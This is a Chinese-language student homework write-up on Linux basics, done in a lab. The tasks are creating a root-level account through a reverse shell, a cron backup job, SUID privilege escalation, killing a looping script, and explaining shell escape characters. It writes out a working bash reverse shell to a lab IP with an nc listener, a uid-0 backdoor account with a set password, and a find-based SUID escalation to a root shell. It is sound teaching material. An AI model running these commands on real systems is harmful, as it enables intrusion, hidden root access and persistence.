Linux基础大作业w2

1、使用反弹的shell创建uid为0的账户,非交互设置密码

在centos上启动反弹shell

bash -i >& /dev/tcp/192.168.227.129/1234 0>&1

image-20250809080339447

kali监听,成功进入centos bash

nc -lvnp 1234

image-20250809080539215

在kali上进行操作

新建用户user1

useradd user1 #新建用户user1
usermod -u 0 -o user1 #修改用户uid为0
id user1 #查看用户user1 uid
echo "user1:password" | chpasswd #非交互设置密码

image-20250809080858686

使用创建的用户user1 password 在centos尝试登录

屏幕截图 2025-08-09 105447

成功进入系统

image-20250809105550822

2、使用echo写入计划任务实现在八月的每周五的每一小时,每一分钟备份/var/log/secure要求文件名包含当前时间

echo "*/1 */1 * 8 5 /bin/cp /var/log/secure /path/to/backup/secure_$(date +\%F_\%H\%M\%S)" | crontab
crontab -l #查看一下计划任务

image-20250809081108947

3、演示查找具有suid权限的可执行账户,实现提权

[root@centos ~]# find / -perm -4000 2>/dev/null #root权限下看一下那些具有suid权限的文件

屏幕截图 2025-08-09 094853

没有发现find命令没有suid权限

which find #查看find命令文件位置在 /usr/bin/find

image-20250809100752202

sudo chmod u+s /usr/bin/find #在root账户下授予其suid权限
ll /usr/bin/find #查看一下权限

image-20250809102642361

su - user1 #切换到user1账户
whomi #查看一下用户身份

image-20250809102713658

find . -exec /bin/bash -p \; #-p 使bash继承find命令的suid权限

image-20250809102832072

4、编写死循环脚本,使用ps aux找到pid,利用kill命令关闭进程

vim 1.sh #编写脚本1.sh
#输入如下内容
#!/bin/bash
while((2>1))
do
echo"ddd"
done
#
chmod 777 1.sh #提权
ll #查看一下权限
./1.sh #运行脚本

image-20250809082145608

脚本内容

image-20250809081242764

运行脚本后发现进入死循环

image-20250809081552374

打开另一个终端

ps aux | grep "1.sh" #查找1.sh进程,发现进程pid为3280

image-20250809081645102

kill -9 3280 #杀死死循环进程

image-20250809081801847

查看第一个终端发现进程已被杀死,终端恢复正常

image-20250809081909505

5、解释并演示转义符号的作用

在 Linux 中,转义符号(\)用于改变某些字符的默认解释,使其被视为普通字符或执行特殊操作。转义符号的主要作用是防止 shell 对某些特殊字符(如空格、$&* 等)的特殊处理

转义符号的作用

  1. 防止特殊字符被 shell 解析

    • 某些字符在 shell 中有特殊含义(如 * 表示通配符,$ 用于变量引用)。使用 \ 可以让这些字符被当作普通字符处理。
    • 例如,* 通常匹配文件名,但 \* 会被视为字面上的星号。
  2. 处理空格或特殊字符

    • 在文件名或命令中包含空格或特殊字符时,使用转义符号避免 shell 误解。
    • 例如,文件名 1 1.txt 需要写成 1\ 1.txt
  3. 在脚本或命令中启用特殊字符

    • 转义符号可以用来表示不可打印字符,如换行符 \n 或制表符 \t(常用于 echo 命令)。
  4. 在正则表达式或字符串中保留字符含义

    • 在某些工具(如 grepsed)中,转义符号用于处理正则表达式中的特殊字符。

演示转义符号的使用

以下通过具体示例展示转义符号的作用,基于 Linux 的 Bash shell 环境。

示例 1:转义特殊字符

echo * # 尝试直接输出 *,shell 会将其解析为当前目录下的所有文件
echo \* # 使用转义符号输出字面上的 * 字符

输出

image-20250809083249975

示例 2:处理包含空格的文件名

touch "1 1.txt" # 创建一个带空格的文件名
cat 1 1.txt # 不使用转义符号,命令会失败
# 报错:shell 认为 1 和 1.txt 是两个文件
cat 1\ 1.txt # 使用转义符号
# 正确读取文件内容

输出

image-20250809083440434

示例 3:转义变量引用

my="test" # 定义一个变量
echo $my # 直接输出 $my,shell 会解析为变量值
# 输出:test
echo \$my # 使用转义符号避免变量解析
# 输出:$my

输出

image-20250809084009341

示例 4:使用转义符号表示特殊字符

\n 表示换行,\t 表示制表符,-e 选项让 echo 解析这些转义字符。

echo -e "1\n2\t3" # 使用 echo -e 启用转义字符解析

输出

image-20250809084047861

示例 5:在正则表达式中使用转义

. 在正则表达式中表示任意字符,使用 \. 转义后表示字面上的点号。

echo "test.txt" | grep \. # 在 grep 中查找包含点号 . 的行

输出

image-20250809084122201

  1. 单引号和双引号

    • 在单引号 '' 中,转义符号的作用有限,大部分特殊字符不会被解析
    • 在双引号 "" 中,变量和转义字符会被解析
    echo '1\n2'  
    # 输出:1\n2
    echo -e "1\n2"
    # 输出:1 换行 2

    输出

    屏幕截图 2025-08-09 084236

  2. 多重转义

    • 在正则表达式或脚本中,可能需要多重转义。例如,在 sed 中匹配反斜杠本身需要写成 \\\\
  3. 其他转义符号

    • 除了 \,单引号 '' 和双引号 "" 也可以用来避免特殊字符解析,但它们的作用与转义符号不同
    echo '*'  
    # 输出:*
    echo "*"
    # 输出:*

输出

image-20250809084437984